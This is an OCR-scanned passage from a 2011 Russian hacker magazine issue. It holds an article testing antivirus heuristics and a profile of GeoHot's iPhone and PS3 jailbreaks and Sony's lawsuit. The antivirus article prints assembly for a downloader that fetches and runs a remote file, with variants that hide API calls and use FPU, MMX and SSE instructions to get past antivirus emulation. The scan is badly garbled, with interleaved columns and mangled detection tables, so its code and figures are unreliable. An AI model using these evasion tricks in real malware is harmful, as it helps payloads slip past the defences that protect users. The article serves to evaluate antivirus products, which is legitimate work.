несколько устаревшими движками Iкажется, это было сделано как раз для того, чтобы снизить по­

лезность сервиса для вирмэЙкеров). Тем не менее, общую картину эта проверка дает.

2360 1191 596 380 203 190 160 150 140 132 1098 6600

Symantec McAfee Trend Micro

KL Sophos

AVG ESEТ

FSecure BitDefender Panda Other Total

Разумеется, в тесте, проведенном нашей лабора­

Аналитический отчет

торией, были использованы самые последние

2009 год

версии указанных антивирусов

-

Доля рынка,

($MUSGAAP)

%

35,76 18.05 9.03 5.76 3,08 2.88 2.42 2.27 2.12 2.00 16.64 100,00

IDC по доходам

антивирусных веНДоров за

с самыми новы­

ми движками и самыми свежими базами. Впро­

чем, базы тут не при чем. Все сорцы и бинарники,

push 0 call URLDownloadToFileA

описанные в статье, ты можешь найти на нашем диске. Да, кстати, не спеши удивляться, если у

тебя ВирусТотал или твой домашний антивирус будут давать несколько лучшие результаты

- к

моменту попадания журнала в твои руки антиви­ русные конторы уже могут принять меры.

Поехали! В качестве конкретных продуктов я использовал

push push push push push push c a ll

0

0 0

offset PathToSave offset OpenString 0

ShellE xecute

push 0 call ExitProcess

топовые решения каждой компании: Этот фрагмент кода загружает файл из интернета

• Symantec - Norton Intern et Security 2011 ; • McAfee - McAfee Total Protectionj • Trend Micro - Titanium Ma xi mum Se curity j • Sopho s - Endpoint Security and Data Protection .

при помощи АРl'шки

URLDownloadToFileA, а затем She llExecute. Казалось

запускает его при помощи

бы, такой простейший « вирус» должны детектиро­ вать все, однако оказалось, что это не совсем так:

великий и ужасный

Norton

Iпtегпеt

Security 2011

не

посчитал этот примитив за вирус. Впрочем, он ока­ Как я уже упоминал, тестировать мы будем важней­

зался единственным

ший компонент любого антивируса

справились успешно и обнаружили «угрозу»,

-

эвристическую

защиту. Методология довольно простая: я скачивал

-

все остальные антивирусы

Затем я решил слегка усложнить задачу, заменив

пробную версию каждого продукта, выставлял «мак­

прямой вызов АРI-функций через импорты на сле ­

симальные» настройки Iчтобы все было честно), а

дующую последовательность действий: получение

затем сканировал каждый из пя т и файлов. А теперь

адреса библиотеки с помощью

поподробнее о файлах.

чение адреса функции с помощью

В этом краш-тесте я решил проверить, как обстоят

дальнейший ее вызов через

дела у наших подопытных с эмулированием

примерно так:

ций

FPU,

ММХ и

SSE.

инструк­

LoadLibrary, полу­ GetProcAddress, call reg, Получилось

Ниже будут при водиться

интересные фрагменты программного кода файлов,

start:

использованных в тестировании Iполные листинги ты найдешь на нашем стенький пилятора

DVD). ДЛЯ начала я сделал про­ Downloader на ассемблере. В качестве ком­ в ыс тупал masm32v10. Все довольно просто

pu s h offset urlmonStr call LoadLibraryA

s tart :

push offset downloadfunc push еа х call GetProcAddress

push push push push

push push push push

и . очевидно:

ХАКЕР

0 0 off s et PathToSave offset TargetURL

04 /141/ 201 1

0 0 off s et PathToSave offset TargetURL

Исх одники И бинарни­ ки ждут тебя на нашем ди с ке. Вперед, к экс­ периментамl

~

077


A."I~1Vi:

~~~ 1 ..

.1·r_

A,V4st

: .0 .3 . '1

АУ ...

' .&.Im.o

J.v.t: ~

~.O.(".,.

: ~11 . 0 :.::

10 . 0'.0.1:'0

20 11 . 01.::

:.o>-"nl~.~ ;:.~ J ~=--

201 1.01.12

Уеи-rlе.к..lw . t ~ ./jldll

.,

81~ [1e!t f')~f

7.11.3.16,(

.1"0)92'9

2.0.3. "7

2011.02.19

4 . 8.1351 . 0

2011 .02.20

5.0 . 611 . 0

2011 . 02.20

.VG

10.0 . 0 . 1190

2011.02.20

Down10a4er . Ro::ena

BltDl:fencl~r

1. 2

20 11 . 02.20

Ger.c:r l C.Ha 1wa:C:.dld!!

.СОАВ71П:

CAI -QulсkН~41

11. 00

2011.02.20 2011 . 02.20

Gt ner1C . ~.41'W'a :C:.d1d !!

. C0A871rt

a:r~~e~l

H. (~

:-:'11.01.::

C1uJ.V

0 . 96 . 4 . 0

C;-.u,V

0 .9'. ' .0

2t1t1 . 0 2.11

-

СOl!:Ш.tоuсh

5 . 2.11.5

2011.0 2 .20

Cee:t~

S. 2.11.S

2 ~11 . 0 t.::

V'U~оаlkf'!&1! t ld:- f ldt)

Co=do

1750

2011.0 2 .20

2011.02.20

«=00

D:rWeb

5.0.2. 03300

D r~b

E:r.siso!t

5.1 .0.2

2011.02 . 20

eSate

7.0 . 1"7.0

2011 . 02 .17

~:~ ~ rt

~.t .O . :

..J.:,

1.0 .1 1.0

t :Ntt ·Vt t

)E.l.e17 S

r"re:

' .•. : .11'

r "Жч ft

t.O.1.~O . O

le:t1Mt

'.: . 2~

~,.

...

•. O

: 011 . 0:.12

~r1е.к..Vlrt. (Ш' ··.1"ОJ')l'9

2(111. 01.:1

a ·.tu'

1'.1.1."'.0

2~ II. O l.22

:'J. ') . • :O

: 0:' 1.0:.::

X1Jr,:.; 1. ..•.. N'

'. 1".)',)1

2011. 0l.~~

~ ,~C'Wt ~

V... "pH'ky

'.O.O. ~2 S

:"11 . 02' .2:

t~)u"~-:.~:.It1!.)t.1.;;"'tr . 1"etl

~r

eT:ust -Vеt

36.1. ! 170

2011.02.1 ~

f"-Р:Оt

'.6 . 2 .11 7

2011.02.20

:-Secure

9.0 . ННО.О

201 1.02.20

Fortlnet

4.2.254 . 0

2011 . 02.20

GD.at6

21

20 11.02.20

11t6ru5

13 . 1.1 . 97 . 0

2011 . 02.20

13.0.900

2011 . 02.20

IOAntiVirus

9.87.3906

2011.02.19

7 . 0 .0 .125

2011.02.20

5 . 400.0 .1158

2011.02.20

2010.1С

2011.02.20

Microsoft

1.fi502

2011.02. 20

!fOD,2

se91

20 11.02.20

Nor:.an

6.07 .03

2011.02.20

nProttct.

2011-0 2-10 .0 1

2011.02.15

Рама

10.0 . 3.5

2011 . 02.20

••

x.:.utt..yк·t41~1 0t11

1Ql0. 1C"

2011.01. :;

1.С И:

:ы 1е :.: 22

1I~1 J ;lC.kt.t\"tft.1'(C'.'X\tI1: . ~lc.~r . J

......... 10.0 .) .$

':0'11. 01. 21

'.о.,. !.

2И1.0:.::

3.0

:о а.О:.::

$Q rp1'1CW t H t

: :O)/~ :, ·ru

4 .41.(1

: 011.02'.::

' . ' :'. 0. tt<Q'

: :'1 1. 0: . :;

6. '.0.1.1 "

%011. 0t.:2:1

' . : :~.G. ~ t l:

: toa .o,.::

КA :_a:.att

20 11.01.21

f(,el ..nшA

Первый тест. Все довольны

-

21

из 42-х антивирусов

РСТооН

7 . 0.3.:5

20 11 .0 2 . 20

Frevx

3 .0

2011 .02 . 20

R1~1n9

23. 45.04. 06

2011. 02.18

SoрhОЗ

4.61.0

2011.02. 20

SOPEIlAtlt;iSPi~·re

40 . 40 . 0 . 10 06

2011.02 . 20

Sy:.antec

2010 1.3 .0 . 103

2011.02.20

TheHacker

fi . 1.0.1.1Э4

20 11 . 02.20

Gt r:с:rlс . И41wаr~.d1d ! ! . COi\Вl1FE

Tt oJanDown1 ~ader : WinЭ2lS::lall . Qеn ! :

Ma1 / Do...-nLdr~;'С

Пятый тест. Народ явно не справляется!

распознали угрозу

push call

push е push 1

е еа х

push offset she1l32Str call LoadLibraryA push offset ex ecutefunc push еах call GetProcAddress

f1d qword ptr [esp] mov dword ptr [esp], е mov dword ptr [esp + 4 ], fst qword ptr [esp] mov ea x , [esp] test еа х , еа х

jz

е

ЕхН

Суть этой проверки чрезвычай н о проста. Вначале в стек вно­

push push

е

сятся два д вой н ых слова

е

рег и стр 5ТО со пр оцессора из п амят и вносится у ч етвере нн ое

push е push offset PathToSave push offset OpenString push е call еах

-

О хОООООООО и ОхОООО О О 0 1. Далее в

слово по адресу. который содержит регистр Е5Р. Таким образом .

регистр 5ТО содерж и т ненул евое зна ч ение . Затем с помощью двух

MOV'OB

А теперь -

содерж и мое п амят и по [ Е5Р] и [ Е5Р+4] об н уляется.

самое последнее и самое главное:

QWORD

и з 5ТО

копируется в п амять по [ Е5Р] . и п олуче н ное зна ч е н ие п о [Е5Р] копируется в рег и с т р ЕАХ. Ант и вирус обязан п равиль н о обра­

push е call Ex itProcess

ботать все инструкции. иначе ф и наль н ая проверка ТЕ5Т ЕАХ . ЕАХ будет вы п ол н ена некоррект н о. Если просто пропускать все FРU- ин струкци и. то в ре г истре ЕАХ окаже т ся н оль и произойдет

Что же в результа т е? С э т им «чудов ищн ым троя н ским конем»

вызов

справи л ся только

Од н ако х и трый

50phos. Тройка лидеров отдохнула.

Отлично . идем да л ьше. Добавим в код последне г о «вируса» про­

ExitProcess. 50phos справился и с э т им тестом. Тогда я решил

использовать редко встречаемые ММХ ин струкции.

верки . связа н ные с ис п ользованием ин струк ци й FР U - н абора.

start: start: xor еах, finit

еа х

xor еа х , еах movq мме, QWORD_VAL push е ХАКЕР

0 4 / 14 7/20 11


AV-веНАор

SimpleDownloader

GPA Downloader

GPA Downloader +FPU

GPA Downloader +ММХ

GPA Downloader +SSE

Symantec

-

-

-

-

-

McAfee

Downloader-AE

-

-

-

-

TrendMicro

MAL- DLDER

-

-

-

-

Sophos

Troj/Apher-Fam

Маl/DоwпLdr-АС

Маl/DоwпLdr-АС

Маl/DоwпLdr-АС

Маl/DоwпLdr-АС

Неутешительные результаты нашего теста

8ffh , 8ffh AvaS1;

4.8.1351.0

2011.02.20

Avas'tS

5.0 . 677.0

2011.02 . 20

'VG

10.0 . 0.1190

2011.02 . 20

Downloader . Rozena

В1 t-Defender

7.2

2011 .02 . 20

Generic.MalW4re . dld ! ! .COAВ7 1F'E

start :

СА! ~iс1сНеаl

11.00

2011.02.20

ClamAV

0.96.4.0

2011.02 . 20

Comm.touch

5.2.11.5

2011.02 . 20

Comodo

7750

2011 .02.20

Drl\'eb

5.0.2 . 03300

2011 . 02.20

Emзisо.ft

5.1.0.2

2011.02.20

eSafe

1.0.17.0

2011 . 02 . 17

eTrust-Vеt

36.1 . 8170

2011. 02 . 18

F- Prot

4. 6 .2 . 117

2011.02 . 20

-

F-Sl!:cure

9.0 . 16160 . 0

2011 . 02.20

Gener1c.Malware.dld !!

.COAВ7l :!:

Gel'J.eric.Malwo!ore.dld !!

.СОАВ7НЕ

-

xor

еа х,

еа х

mov

ес х,

offset DQWORD_VAL

db 88fh , 18h , e1h db 88fh , S8h , 8c8h test

jz

еа х , еах

ЕхН

fortinet

4.2.254.0

2011 .02 . 20

GDat.a

21

20 11 . 02 . 20

IJcarus

ТЗ.l.l . 97.0

2011.02.20

«А что это за

J1anQll11n

дело в том, что masm32 Iкомпилятор ассемблера от М i с гоSоft]

Внимательный читатель, наверное, сразу же задастся воп р осом:

db OOfh ... в коде? Где же инструкц ии ?». Отве ч аю:

13 . 0 . 900

2011.02.20

К7Ant1V1rus

9 . 81 .3 906

2011.02 . 19

Ka~persky

7.0.0.125

2011.02.20

НсА!е:е

5 . 400.0 . 1158

2011.02.20

которые я хотел ис п ользовать. На самом де л е

McA!ee:-GW-Еditlоn

2010 . 1С

2011.02.20

MOVUPS ХММО, [ЕСХ] и MOVMSKPS ЕАХ, ХММ О. Я уверен, что

Microsoft

1.6502

2011 . 02.20

NOD32

58 91

20 11.02.20

-

Iroj anDown10ader: Wln32!Small. Q'en ! F

п оследней . десятой версии, просто не знает таких мнемоник,

-

это инс т рук ц ии

подавляющее боль ш инство людей , рабо тающих с ассемблером и машинными командами, никогда в жизни таких инструкций н е

Noman

6 . 01.03

2011 . 02.20

nProtect

2011 - 02- 10 . 01

2011 . 02.15

Panda

10.0.3. 5

2011.02.20

Команда

PCIools

7 . 0.3.5

2011.02 . 20

мог обойтись только копированием данных , как я это и делал

видели. Что же они делают?

MOVUPS . по сути, просто копирует дан н ые. Я, ко н еч н о ,

P~YX

3.0

2011.02.20

Riзinq

23.45.04.06

2011.02.18

Sорhоз

4.151 . 0

2011 . 02 . 20

SUPERAntiSpyware:

4 . 40 . 0.10015

20 11.02.20

использовал команду

Symante:c

20101.3 . 0 . 103

2011.02 . 20

как Ех t гасt

The:Hacke:r

б . 7 . 0.1 . 13 4

2011 . 02.20

TI1!ndКicro

9 . 200 . 0 . 1012

2011 . 02.20

T re:ndMicr o - Ноuз е:Саl l

9 . 200.0 . 101 2

2011 .02 .15

в п редыдущих при мерах, Kal/DownLdr -АС

но мне хотелось сломи т ь нашего

оставшегося стойкого оловянного солдат и ка. Для этой цели я

MOVMSKPS, которая рас ш ифровывае т ся

Packed Siпglе-Ргесisiоп Floating-Poin t Sign Mask. Эта инс т рукция берет знаки четырех OWOR O'OB, входя щ их в ХММ­ ре г истр, и кладет и х в приемник, зануляя стар ш ие двадца т ь

восемь бит 132-битный режим] .

Четвертый тест. Многие отдыхают.

и что же? Я достиг результата зался «крепким орешком» и

На этом краш-тест зако н че н . Пришло время п одвест и и т о г и

push 8 movq qword ptr [esp ] , mov

еах,

test

jz

.. П равда , Sop hos все равно ока­

выдержал даже это испытание.

ММ8

-

все дан н ые по срабатываниям антивирусов я расположи л в

одной срав н ительной таблице.

[esp]

еах, .еа х

Заключение

ЕхН

Что же получается? Эвристические алгоритмы лидеров мирового

Здесь используется аналогичная предыдущему файлу провер·ка. Разница лишь в том , ч т о вмес т о ко инструкция

MOVQ.

Однако и здесь

FLO и FST используется толь- абсолютно идентично.

Все осталь н ое

Endpo int Sесuг i tу an d Oa ta Ргоtесtiоп показал

антивирусно го рынка задетектили примитивную ассемблерную малварь, но любой ша г в сторону вызва л у большинс т ва из них силь н ые затруд н ения. В э т ом смысле прият н о удивил

Sop hos ,

обнаруживший все «угрозы» . По - видимому, л и бо в нем ис п оль­

себя с лучшей сторо н ы , не пропустив «вредонос н ое П О» на ком­

зуется а п паратное ускорение, п ерекладываю щ ее эмуляц и ю кода

пьют ер. Ч то же, обидно , что этот а нт ивирус все никак н е сдает­

на процессо р , либо у них ест ь кома н да классных разработ ч иков .

ся

ко торая добавила даже эмуляц и ю MOVMSKPS

.. А раз так, то пр и меним тяжелую ар т иллерию - инструкции

набора

SSE.

:1.

Конечно, наш тест не претендует на стопроцентную объ ектив­ ност ь, но яс н о одно: не так важно , насколько ш и р око AV-веНАо р

DQWORD_VAL db 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , 8ffh , ХАКЕР

04 / 147/20 1 1

представлен в мире или раскручен пользователя это не коррел и рует

-

с эффект ив н остью защиты

I

~

079


• •

МаР ИR

«Mlfrill»

Нефедо в а I m i f г i шаг еа t. хаk е р . г u)

ео о

vs

ОДИН ПРОТИВ корпорации с) Ты уже наверняка СЛblшал о противостоянии, что развернулось

между извеСТНblМ хакером GeoHot'oM и компанией Sony, чью супер­ защищенную приставку{РiауStаtiоп З) он взломал. По сути, GeoHot сейчас в судебном порядке отстаивает право всех исследователей ломать свои смаРТфОНbI, консоли и другие гаджеТbI, если им того за­ хочется.

Краткая биографическая справка

герой успел побывать в эфире почти всех крупнейших телеканалов

Чтобы разобраться в этой запутанной истории, сначала нужно

(Fox, CNN, NBC , CBS, G4, АВС, CNBC, ВВС], дать интервью многим

п о н ять, кто такой

ведущим мировым СМИ (например, Forbes] и выступить на различ­

GeoHot,

и чем он знаменит.

И мя и никнейм нашего героя ты мог неоднократно встречать на

ных IТ-конференциях. Словом, нет ничего удивительного в том, что

страницах журнала, но подробно о нем мы не рассказывали ни разу.

уважаемый журнал РС

Кажется, пришла пора это исправить. Сейчас ему всего

самых перспективных учеников младше

род ился 9-го октября

21 год, он

1989 года в США в городе Глен Рок. В Сети

и за ее пределами он известен как Джордж Фрэнсис Хотц , mil l iоп75 или же просто

GeoHot,

mil. Невзирая на <;;вой, в общем-то, юный

World включил имя Джорджа Хотца в топ-1 О 21 года.

Вскрытие яблочных продуктов Ценные призы и умиление со сторо ны СМИ Джорджа, очевидно, не

возраст, Хотц успел достигнуть многого. Если говорить об образова­

прельщали . От перспективных конкурсов для талантливой молоде­

нии, то небезынтересен хотя бы тот факт, что

жи он перешел к вещам менее законным и куда более скандаль­

GeoHot - выпускник

Центра талантливой молодежи при Университете Джона Хопкинса.

ным. Признание в среде андеграунда и широкая (более того - уже

С л ава пришла к Хотцу задолго до того, как он вплотную занялся

мировая] известность пришли к нему в 2008-2009 годах, когда

джеЙ л бреЙком. Еще в начале 2000-х он успел отметиться на

он джейлбрейкнул первый iРhопе от

ISEF

Apple, написав blackra1 n и

- Intellnternational Science and Engineering Fair. Это престижное

purplera1 п.

соревнование для студентов и школьников, на котором они пред­

Этот поступок с нова привлек внимание прессы и общественности

ставляют свои научные проекты. Впервые Джордж участвовал в

к молод ому (тогда 17-летнему] хакеру, что ему, судя по всему, при­

ISEF в 2004 году с проектом «The Маррiпg Robot». С первого же

шлось по душе. И дело было даже не в том, что он писал полезный ,

р аза он вошел в список финалистов , в результате чего засветился

но не слишком ле гальный софт ( напоминаем - тогда поправки в

н а ТВ, дав интервью Ларри Кингу в мегапопулярном на Западе

DМСА еще не внесли, и джейлбрейк не был одобрен законом :]] ,

«Today Show». На следующий год успех повторился, на этот раз Хотц

просто время от времени Хотц также выдавал в своем блоге длин­

сорвал овации с проектом

ные тирады оПравильном Хакерстве. Например, он крайне эмоцио­

«The Googler».

Судя по фотографиям (да и просто исходя из названий] нетрудно

нально писал о том, что настоящие хакеры (то есть он сам и парни

до га даться, что все проекты

из Dev Теат, ih8snOw и сhгопiсdеv] не берут денег за свои програм­

GeoHot'a были связаны с робототехни­

ко й , которая Хотцу и п о сей де н ь очень интересна. И этот интерес

мы, а те, кто поступает иначе

воз н ик совсем не вдруг

осуждал пиратство. Увы, на данный момент старый блог

команды

- еще в школе Джордж входил в с'остав

Titanium Knights, которая занималась боевыми ботами. А

на досуге вундеркинд возился с проектом

«Neuropilot» - разработ­

ка пр едставляла собой девайс, основанный на железках

OpenEEG-

пр оекта, и эта штука могла считывать ЭЭГ-волны человеческого

м озга. Джорджу удалось снискать признание публики на трет ий раз

ISEF и в

- в 2007 году. Его очередной проект «1 want а Holodeck »

-

просто сволочи. Или, скажем, резко

GeoHot'a

закрыт и подтерт, так что придется обойтись без ссылок и поверить нам на слово.

Заметим, кстати, что джейлбрейк iРhопе (а впоследствии и PS3]

- дело рук не только Джорджа лично. Хотц вообще-то работал в команде , просто у его коллег не наблюдалось такой острой тяги к общению с прессой, длинным рассуждениям об этике хакерства и

заработала сразу несколько призов в разных категориях, и заняла

тому подобным вещам . Сам Джордж о своих «боевых товарищах»,

то п овые места. Успех обернулся не только денежным эквивалентом

впрочем, не забывал. К примеру, тот самый первый взломанный

(за самые интересные проекты Intel и Ко платят молодежи неплохие

iРhопе он отдал для исследований Тери Дитаборну, основателю

де нь ги], но и пристальным вниманием прессы. За эти годы наш

компании

~

080

Certicell, в обмен на Nissan 350Z и три новых iPhone 8 ГБ. ХАКЕР

04 /147/ 2011


GeoHot на

выставке

Пол уч е нные с мартфоны

ISEF в 2007

Ge oHot раздал п о могавшим ему др узьям.

И все, п ожалуй, шло бы хор о шо ду кты, Хотц И компания их любить, в

- Apple вып ускала бы нов ы е пр о ­

- взламывали и х , п у блика - прод о лжала

Apple - скрипели зубами, и в се б ы ли бы счастливы .

Только вот после релиза Летом

году

iOS 4.0 Хотцу все это начало надо едать.

2010 года он написал в Твиттере, что с о бирается покинуть

с ц ену, так как джейлбрейк ему наскучил, люди воспринимают все, что он делает, чересчур серьезно, а для него это лишь способ скра­

с ит ь время. Страждущим он посоветовал обратить внимание на «конкурирующий продукт»

-

утилиту

Spirit,

также предназначенную

для джейлбрейка «яблочной» техники. Однако многие могли расценить этот ход как позорную капитуляцию

-

мол, не вышло у Хотца разлочить iРhопе

4,

устал, я ухожу » . От такого поворота событий просто

-

и тут же началось: « я

....

"1JI _ _ ...-IUO ..

o.. _ , ~""_ ,I: : jo;,,

.......

GeoHot застраховался

).,, ~

~-

он заранее, еще до объявления об уходе, заявил, что

готовит джейлбрейк для

iOS 4.0 и обещал представить его публике -

='::=. . .

злые языки утверждали, чт о на этот раз у «юного гения»

a.- . ~.Up~

~~--

-_ _.... _._......__-

в обозримом будущем. Скептиков , конечно, нашлось немало

=.~~ ,,-,,_ .....-. .

..

........

попросту

. ...·.., tIO_ ·....

нет решения, вот о н и тянет время, но Хотц свое слово сдержал.

__ ___ ....

_Ia:

В октябре 201 О, как только в Сети появилась утилита GгеепРоisОп,

Рэп-обращение Хотца к компании

вскрывавшая наконец-то

более

iPhone 4, Хотц, якобы ото ш едш ий от дел,

вдруг дал о себе знать, выпустив свою прогу

1 500 000

Sony собрало уже

просмотров

limera 1п.

Релиз явно был собран в некоторой спешке , так как limera1 n вооб­

герой нашел вторую уязвимость и не стал утаивать ее от обще­

ще не работал для 3GS-девайсов и ощутимо бажил на остальных.

ственности. И хотя детище Хотца вышло в бета-версии, глючило

Но мелкие технические косяки были делом поправимым

[было замечено исчезновение иконок Арр Store, Maps, GаmеСепtег

хуже то, что

- куда

GeoHot, по сути, подставил коллег по цеху, и, как многие

и

Calendar, вернуть которые не удалось даже процедурой восста­

новления), коллеги-хакеры все равно были в бешенстве. Еще бы ,

тогда писали, нанес вред всему iКомьюнити.

Об этой ситуации мы уже рассказывали довольно подробно, но все

ведь если

же напомним: парни из

то сможет закрыть оба одним

Dev- Теат обнаружили, что девайсы на базе

App le

будет обладать информацией об обоих эксплойтах,

MaxoMI

Таким образом, пер ед осталь­

Apple А4 имеют уязвимость в bootrom. О ни радостно всех заверили,

ными джейлбрейкерами планеты встал нелегкий выбор: л ибо при­

что скоро выпустят джейлбрейк , и всем будет счастье. Ведь чтоб ы

держать сво и разработки и п одождать , пока

п оф и кс ит ь дырку в

ис п ользуемую Хотцом, либо публиковать все без оглядки, давая

bootrom, App le придется перекапывать аппа­

ратную часть устройств , а это дело небыстрое. Но планы оказались сорваны, и виной тому

-

Dev-Team

не кто иной, как Джордж Хотц.

Apple

закроет дыру,

Apple возможность залатать все уязвимости одним махом. GeoHot·a случившееся , похоже, не особенно взволновало [или ,

Он также выпустил свое средство для джейлбрейка аппаратов с

что более вероятно , он рассчитывал именно на такой эффект). в

iOS 4.0 и 4.1 - limera1 п. Вся соль ситуации заключалась в том, что

течение нескольких дней он довел до ума свой релиз, выпустив

limera1 п тоже использовал дырку в bootrom, только другую. Наш

последнюю версию RC1 Ь, и спокойно [подозреваем , что с чувством

ХАКЕР

04/147/ 20 11

~ 081


Скриншот еще загадочного и пустого сайта

limeraln

к вниманию публики Хотцу не при выкать

ake:

technology оп your time

Это предупреждение группы FailOVerflow

все, что осталось от сайта

Интервью, чтение лекций и тому подобные вещи хоро­ шо знакомы GeoHofy

функция отсутствовала уже давно. Хотц не только не растерялся,

выполненного долгаl отошел от «яблочных» дел. На этот раз, похо­

был вызовl В блоге он заявил, что теперь будет разрабатывать соб­

же, насовсем . По крайней мере, с тер пор Хотц больше не принимал

ственную прошивку, в которой

активного участия в жиз н и Арр lе-комьюнити.

Этот «обмен любезностями» произошел в марте , а уже через месяц

но заинтересовался еще больше

Взлом РSЗ и разбирательство

с

sony

,

-

Linux

ведь это уже действительно

и

«OtherOS»

будут доступны .

GeoHot опубликовал в Сети видео, на котором РlауStаtiоп 3 с про­ шивкой работу

3.21 на борту, как ни в чем ни бывало, демонстрировала

«OtherOS». Джордж подчеркнул, что его кастомная про­

Без достойного вызова жизнь скучна, а когда ты умен и талант-

шивка, получившая имя

лив

Slim-версиях приставки. Дату релиза он, однако, не назвал. Как

- скучна вдвойне. Перспектива вернуться к студенческим

3.2100,

заработает и на самых последних

олимпиадам и конкурсам, попробовав «запретный плод» извест­

оказалось

ности, видимо, не слишком радовала

ние потихоньку заглохло. В какой-то момент вообще казалось, что

GeoHot"a.

Тем более, что

Рочестерский Технологический Институт, в который ему удалось без проблем поступить, Джордж вскоре после громкого взлома

iPhone

-

не зря, прошивка так и не увидела свет, и начина­

последней вестью с полей так и останется твит Хотца, датирован­

ный июлем

2010. Хакер писал, что PS3 слишком крепкий орешек , и

бросил, не проучившись там и года. Новую планку Хотц поставил

он уже почти не надеется продвинуться дальше со своим взломом.

себе еще в конце 2009-го

За вышеупомянутым твитом последовало более полугода тишины.

- тогда он опубликовал в своем блоге

запись, озаглавленную «А Real Challenge» [«Настоящий вызов»I.

Злопыхатели уже праздновали победу и потирали руки [как же,

В посте он сообщил о намерении низвергнуть защиту Sony

Хотц наконец-то облажалсяll, когда появилось новое сообщение

PlayStation 3, которая давно являлась эталоном стойкости. Взлом

от

должен был быть чисто программным -

к январю

при помощи которых ломали

разного рода USВ-донглы,

PlayStation 2, хакера не интересовали.

GeoHot·a. Оказалось, эти шесть месяцев он не сидел без дела и 2011 сумел продемонстрировать homebrew приложение,

запущенное на

PS3 с прошивкой 3.55. И это без донглов - чистый

GeoHot тщательно документировал в блоге свои достижения, и уже

софтверный взлом, базой для которого послужил эксплойт, обнару­

пять недель спустя [22 января 201 О годаl объявил о том, что цель

женный командой

достигнута. Дело в том, что при желании на

вопроса шифрования в консолях

PS3 можно запустить

Linux, который, в свою очередь, работает под управлением · гипер­

FailOverflow. Эти ребята занимались изучением

го успеха. На конференции

Sony и добились определенноChaos Commun ication Сопgгеss они

визора. Хотцу удалось получить доступ к гипервизору после запуска

показали полностью взломанную приставку и рассказали, что

Linux в режиме «OtherOS». Он использовал эксплойт, чтобы доба­

обнаружили баг в системе подписи лицензионного обеспечения,

вить несколько функций произвольного доступа к памяти на чтение!

исправить который с п омощью новой прошивки У

запись, а также для получения дампов гипервизора. Дальше в ход

П одчеркиваем

пошел глитчинг памяти и

описанием процесса. Очевидно, ее-то и посмотрел

-

вуаля l

26

января, опубликовав в блоге

все подробности о проделанной работе,

GeoHot заметил: «У Sопу

Sony не выйдет.

- показана была только видео-демонстрация с GeoHot,

а в его

руках подробности о ключе шифрования стали серьезным козырем.

могут возникнуть трудности с пропатчиванием экс п лоЙта». И не

Еще день спустя Хотц подбросил дров в разгоравшийся в Сети

угадал. В

костер споров, продемонстрировав еще одно видео

Sony подошли к решению проблемы не слишком изящно,

но эффективно

-

выпустили новую версию прошивки, из которой

исключили функцию

~

082

«OtherOS».

Кстати, в Slim-версии консоли эта

-

на этот

раз hоmеЬгеw-приложения работали на модифицированной про­

шивке 3.55. На geo hot.com он опубликовал свой джейлбрейк lа

ХАКЕР

04 /147/ 201 1


Тот самый первый iPhone, взломанный Хотцем. Это его он обменял на машину и три новых смартфона также гооtkеу- п риставк и), позволяющи й п р оделать то же самое всем и каждому. В ответ на это

Sony пода л а в суд. 21 января

201 1 год а Sony Computer Entertainme nt America обратилась в Ка л ифорнийский суд с иско м в адрес Джо р джа Хотца и е ще восьми человек

- ребят из FailOverflow и «неуста н овленных личностей» -

заяв л яя , что они нарушают ОМСА [зако н об авторском праве в ци ф­ ровую э п оху) , являются компьютерными мошенниками и нарушите­ лями авторских п рав. Окружной судья Сьюзан Иллстон [очевидно , разделяющая точку зрения Sony) 27 я н варя постановила, ч то GeoHot и компания обяза н ы передать все свои консоли и жесткие диски в руки юристов, а также н еме д ленно прекратить р ас п ространять

ISEF 2005

со своим проектом

инструменты для взлома п рошение

PlayStation 3. По сути , суд удовлетворил So ny о та к н азываемом «tempor ary restraining order» -

Старое фото: Хотц на «Тhe Googler»

это судеб н ый п р иказ о време н ном запрещени и ч его-либо. Запрет

и только Джордж Хотц не сдается. Парень нанял двух ад вокатов , сбор

с р ед ств на услуги которых проходил в Сет и [кстат и , нуж н ая сумма

продлится до п ринятия окончатель н ого реше н ия п о иску.

была собрана за рекорд н ы е восемнадцать часов). GeoHot'a без пре­

И вот тут-то и нач и наются стра н ности. Во- п ервых, суд проходил

увеличения поддержал весь м ир

в Север н ой Калифорнии , а Хот ц п роживает в Нью-Джерси, так

возмездную помощь ком п ан и я

что судить и даже обвинять его в Кали ф орнии н е имели права.

Джорджем юристы теперь настаивают, что обвинения

-

на п ример, ему предложила без ­

Electronic Frontier Foundation.

На н ятые

Sony беспочвен ­

В о-вторых, как уже упоминалось выше , недавно были приняты

ны, их подза щ ит н ый не «хакер» , И консоль о н вовсе не вз л амыва л,

п оправки в ОМСд. согласно которым джейлбрейк

а лишь акти вировал упразд н е н ные ранее функции. Также, по совету

- легале н , и люд и

в п раве делать с техникой , кото рую они закон н о приобрели , все, что

своих адвока тов,

им забл агорассуди тся. В зако н е , правда , как в!=егда есть нюа н с. В

свой компьютер !ссылаясь на то, что зарабатывает на жизнь програм­

тексте р е ч ь идет ко н крет н о о м обиль н ых тел ефонах , но Хот ц и е го

мированием) и катего р ически отрицает связь с командой FailOverflow.

а д вокаты н астаивают, что с определе н ной точки зрения смартфо н ы

Не чурается Хотц и внимания СМИ

и п р иставк и довольно бли з к и друг к другу, и если мож н о взламы­

висит призыв к п рессе расп р остранять и н формацию об этой истори и

вать од н о, то мож н о и д ругое. В-тр етьих , сам

как можно шире . Он также выступает за бойкотирование Sony [не

Geo Hot и п ар н и из

GeoHot пока отказывается передавать на экспертизу

- напротив, на его сайте сейчас

FailOve rflow подчеркивают, ч то они были , есть и будут п рот и вникам и

п окупать и г ры , не качать OLC, не п ользоваться услугам и PSN), обви ­

пиратст ва. Свои изыска н ия они проводили исключительно с ц елью

няет компанию в незаконном сборе личных данных о пользовател ях и

за п ускать на ко н сол и

Li nux

и h оmеЬгеw-п ри ложения , что оп р еде­

недостаточ н ой защите этих самых данных.

Недав н о Джордж появил­

ле нн о не является кр и ми н а л ом. Если буквально , то Хот ц сделал ути­

ся в эфире канала

литу, п озволяющую за п ускать н а

бросилась н а борьбу с тобой , за что о н и тебя судят, как ты считаешь?»

PS3

Однако разозленный медиагигант -

н еподпи сан н ый код.

страшная сила . So ny реально

G4, где на вопрос ведущего «Почему Sony так рьяно

С ухмылкой ответил «Я п росто их разозлил».

верит в возмож н ость ликви д ации джейлбрейка в Сет и , и продол­

Не похоже , чтобы

жает бороться. Н едавно компан и я в судебном порядке п ринялась

